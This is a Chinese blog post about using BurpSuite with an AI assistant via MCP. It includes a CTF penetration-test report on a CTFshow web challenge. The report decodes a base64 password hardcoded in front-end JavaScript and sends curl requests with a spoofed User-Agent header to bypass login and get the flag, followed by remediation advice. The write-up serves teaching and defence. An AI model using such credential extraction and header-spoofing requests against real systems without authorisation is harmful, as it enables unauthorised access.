文章总结: 文档记录了一次CTFWeb题的渗透测试过程,通过前端源码分析发现Base64硬编码密码漏洞,解码后结合服务器返回的User-Agent白名单信息,伪造请求头成功绕过验证获取Flag。核心结论为客户端存储凭据和依赖HTTP头校验均存在安全风险,建议将认证逻辑完全移至服务端并避免信息泄露。 综合评分: 83 文章分类: 渗透测试,WEB安全,漏洞分析,CTF,安全工具
BurpSuite+AI渗透测试(一):HTTP头注入
原创
yushao yushao
Web安全工具库
2026年6月2日 09:24 河南
在小说阅读器读本章
去阅读
一、BurpSuite安装MCP server
二、配置MCP服务
"burp": { "type": "sse", "url": "http://127.0.0.1:9876", "disabled": false }
三、提示词
你现在是一名顶级 CTF Web 安全研究员。题目链接 *****.ctf.show/,目标:分析并解出下面这道 CTF Web 题目并输出Flag给我
渗透测试报告
目标系统: CTFshow Web Challenge
目标 URL: https://********.ctf.show/
测试日期: 2026年6月2日
报告类型: CTF 挑战赛渗透测试记录
一、测试概述
本次测试针对 CTFshow 平台一道 Web 方向题目,目标为通过分析 Web 应用的认证逻辑,绕过其多层验证机制,最终获取 Flag。测试过程中共发现两处安全漏洞:前端硬编码密码(Base64 编码)与服务器端 User-Agent 白名单校验。
最终 Flag: CTF{u*******s}
二、侦察与信息收集
2.1 目录枚举
对目标站点常见路径进行探测,结果如下:
| 路径 | HTTP 状态码 | 备注 |
| — | — | — |
| index.php | 200 | 主登录页面,存在有效内容 |
| robots.txt | 404 | 不存在 |
| .git/HEAD | 404 | 无源码泄露 |
| .env | 404 | 无环境变量泄露 |
| flag.php | 404 | 不存在 |
| config.php | 404 | 不存在 |
| admin.php | 404 | 不存在 |
有效入口仅为 index.php,攻击面集中于登录表单。
2.2 前端源码分析
审计 index.php 返回的 HTML/JavaScript 代码,发现登录逻辑完全在客户端实现,且存在硬编码的 Base64 密码字符串:
const correctPassword = "Q1*******Q==";
// 前端校验逻辑
if (btoa(enteredPassword) === correctPassword) {
// 提交到服务器
}
对该 Base64 字符串进行解码:
$ echo "Q1R*******0fQ==" | base64 -d
CTF{ea*****4}
得到第一层密码: CTF{e*****64}
三、漏洞利用
3.1 漏洞一:前端硬编码凭据(Base64 明文存储)
漏洞描述: 应用将正确密码以 Base64 编码形式直接嵌入前端 JavaScript,Base64 并非加密手段,任何人均可轻易解码还原原始密码。
利用步骤: 直接使用解码后的密码向 check.php 发起 POST 请求。
curl -s -k -X POST \
"https://******.ctf.show/check.php" \
-d "username=admin&password=CTF{e*****}" -i
服务器响应(节选):
<div class="message error">Invalid User-Agent</div>
<div class="message info">
You must use "ctf-show-brower" browser to access this page
</div>
密码验证通过,但服务器端存在第二层校验——User-Agent 白名单限制。错误信息同时将白名单值 ctf-show-brower 直接暴露在响应体中,属于信息过度泄露。
3.2 漏洞二:User-Agent 请求头伪造绕过
漏洞描述: 服务器通过检查 HTTP 请求头中的 User-Agent 字段来判断客户端合法性,将安全策略建立在客户端可任意篡改的请求头上,属于不可信的安全控制。攻击者可以在任意 HTTP 客户端中手动指定该头部,完全绕过此限制。
此外,错误响应直接将白名单值 ctf-show-brower 回显给用户,主动泄露了绕过所需的关键信息。
利用步骤: 在请求中附加 User-Agent: ctf-show-brower 头部重新发起请求。
curl -s -k -X POST \
"https://*.ctf.show/check.php" \
-d "username=admin&password=CTF{e*********4}" \
-H "User-Agent: ctf-show-brower" -i
服务器响应(节选):
<div class="message success">
Login successful! Flag: CTF{u********s}
</div>
两层验证均已绕过,成功获取 Flag。
四、漏洞汇总
| 编号 | 漏洞名称 | 严重程度 | 位置 |
| — | — | — | — |
| VUL-01 | 前端硬编码凭据(Base64) | 高危 | index.php JavaScript |
| VUL-02 | User-Agent 白名单校验可绕过 | 中危 | check.php 服务端逻辑 |
| VUL-03 | 错误响应信息过度泄露 | 低危 | check.php 错误提示 |
五、修复建议
针对 VUL-01: 密码校验逻辑必须在服务器端执行,前端不应包含任何与凭据比对相关的代码或数据。无论使用何种编码方式(Base64、Hex 等),将凭据存放于客户端都是不安全的。
针对 VUL-02: User-Agent 等 HTTP 请求头均由客户端控制,不能作为安全校验依据。若需限制访问来源,应结合 IP 白名单、Session Token、API Key 等服务端可信机制实现。
针对 VUL-03: 错误提示应采用通用措辞(如”认证失败”),避免向用户透露具体的校验逻辑或白名单内容,以防止为攻击者提供绕过线索。
本题的核心考点是:不要将任何安全逻辑或凭据放在客户端,以及HTTP 请求头不可作为身份验证的可信依据。两个漏洞单独来看危害有限,但组合利用后可完整绕过认证体系。
·今 日 鉴 图·
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Web安全工具库 yushao yushao《BurpSuite+AI渗透测试(一):HTTP头注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论